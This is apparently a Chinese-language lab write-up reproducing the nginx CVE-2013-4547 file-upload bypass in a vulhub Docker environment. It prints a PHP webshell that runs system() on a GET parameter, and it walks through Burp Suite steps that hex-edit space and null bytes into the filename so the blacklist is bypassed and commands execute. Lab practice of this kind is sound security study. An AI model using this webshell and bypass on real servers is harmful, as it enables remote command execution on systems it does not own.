wen漏洞-文件上传,找了一些ctf靶场,vulhub靶场去练习,然后有一个靶场 比较有意思。
复习方法如下:
环境搭建:
git clone https://github.com/vulhub/vulhub.git cd vulhub/nginx/CVE-2013-4547 docker-compose up -d
复现:
阅读源码 发现 黑名单方式,以为很简单 琢磨了一个小时
<?php if (!empty($_FILES)): // Check for errors if($_FILES['file_upload']['error'] > 0){ die('An error ocurred when uploading.'); } // Check filesize if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) { die('File is not uploaded file'); } $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) { die('Unsupported filetype uploaded.'); } $new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name']; if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){ die('Error uploading file - check destination is writeable.'); } die('File uploaded successfully: ' . $new_name); else: ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form> <?php
制作一个webshell 内容为
shell.gif11.php <?php phpinfo(); system($_GET['a']); ?>
点击上传
bp抓包
修改文件里的 11 为16进制
第一个1 -- 20第二个1 -- 00
选择第一个1 会出现这个
在选中第二个1 同样的操作
改完了 发现 空格 和 . 重合了
这个时候先撤回操作 在.前面先输入一个空格
改好之后 会看到有两个空格
发送到重发模块 然后发送请求 可以看到路径
访问路径 抓包 然后在gif 后面加上11 然后利用刚才的手法,16进制替换
1 -- 20 1 -- 00
然后在空格后面加上 .php空格
执行命令